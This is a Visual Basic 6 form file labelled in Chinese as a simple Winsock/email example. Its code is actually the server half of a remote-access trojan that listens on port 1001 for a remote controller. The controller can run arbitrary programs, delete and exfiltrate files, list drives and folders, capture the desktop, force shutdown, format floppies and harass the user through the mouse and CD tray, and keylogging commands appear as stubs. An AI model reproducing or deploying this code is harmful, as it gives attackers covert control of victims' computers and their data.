frmmain.frm

关于WINSOCK控件基本编程的例程,提供电子邮件例程

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain 
   Caption         =   "服务器"
   ClientHeight    =   2040
   ClientLeft      =   60
   ClientTop       =   435
   ClientWidth     =   2430
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   2040
   ScaleWidth      =   2430
   StartUpPosition =   3  '窗口缺省
   Begin VB.ComboBox Combo2 
      Height          =   300
      Left            =   120
      TabIndex        =   1
      Text            =   "Combo2"
      Top             =   1440
      Width           =   1935
   End
   Begin VB.ComboBox Combo1 
      Height          =   300
      Left            =   240
      TabIndex        =   0
      Text            =   "Combo1"
      Top             =   240
      Width           =   2055
   End
   Begin MSWinsockLib.Winsock objTCP 
      Index           =   0
      Left            =   960
      Top             =   840
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Public intmax As Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)


Private Sub Form_Load()
    intmax = 0
    objTCP(intmax).LocalPort = 1001
    objTCP(intmax).Listen
End Sub
Private Sub objTCP_Close(index As Integer)
   objTCP(intmax).Close
End Sub
Private Sub objTCP_ConnectionRequest(index As Integer, ByVal requestID As Long)
    If index = 0 Then
        intmax = intmax + 1
        Load objTCP(intmax)
        objTCP(intmax).LocalPort = 0
        objTCP(intmax).Accept requestID
        objTCP(intmax).SendData Enum_Drives
    End If
End Sub
Private Sub objTCP_DataArrival(index As Integer, ByVal bytesTotal As Long)
 Dim StrData As String
 Dim sData As String
 Dim lRet As Long
 objTCP(intmax).GetData StrData
'开始程序

Dim MyCommand As String
objTCP(index).GetData StrData
MyCommand = Left$(StrData, 7)
Select Case MyCommand
'消息
Case "SENINFO"
MsgBox Right$(StrData, Len(StrData) - 7), vbOKOnly, "控制者消息"
'交换按键
Case "CHANGEM"
SwapMouseButton (False)
'复原按键
Case "CHANGEA"
SwapMouseButton (True)
'隐藏按键
Case "HIDEMOU"
ShowCursor (False)
'复原指针
Case "APPRMOU"
ShowCursor (True)
'限制移动鼠标
Case "NOTMOVE"
FrmMouse.Show
'复原移动
Case "CANMOVE"
Call toUnLockCursor
Unload FrmMouse
'自动鼠标
Case "AUTOMOV"
Call MoveMouse
'获得位置
Case "GETPOST"
MousePS
'获得进程
Case "GETRUNN"
'关闭进程
Case "CLOSERU"
'弹出光驱
Case "OPENCDR"
Call OpenCDDoor
'关闭光驱
Case "CLOSECD"
Call CloseCDDoor
'模拟键盘动作
Case "MONIRUN"
'Call KbEvent
'开始记录键盘
Case "BEGINKB"

'停止记录键盘
Case "ENDJILU"
'磁盘信息
Case "DSKIFNO"
Call DiskInfo(index)
'格式化磁盘
Case "FORMATT"
FormatFloppy
'系统信息
Case "SYSINFO"
'Call SysInfo(index)
'运行程序
Shell (Right$(StrData, Len(StrData) - 7))
Case "SHELLFL"
'获得桌面
Case "GETDESK"
Get_Desktop (App.Path & "\DESKTOP.BMP")
StrData = App.Path & "\DESKTOP.BMP"
       SendFile StrData, objTCP(intmax)
        objTCP(intmax).SendData "COMPLET"
'强制关机
Case "CLOSECU"
Call CloseCu(StrData)
'强制浏览
Case "LINKTOO"
lRet = ShellExecute(0, "open", Left$(StrData, Len(StrData) - 7), "", vbNull, SW_SHOWNORMAL)
Case "KILFILE"
Kill Mid$(StrData, 11, Len(StrData))
Case "FOLDERS"
    sData = Enum_Folders(Mid$(StrData, 10, Len(StrData)))
            objTCP(intmax).SendData sData
            DoEvents
            Sleep (500)
            sData = Enum_Files(Mid$(StrData, 10, Len(StrData)))
            objTCP(intmax).SendData sData
Case "MYFILES"
SendFile Mid$(StrData, 10, Len(StrData)), objTCP(intmax)
          objTCP(intmax).SendData "COMPLET"
End Select
End Sub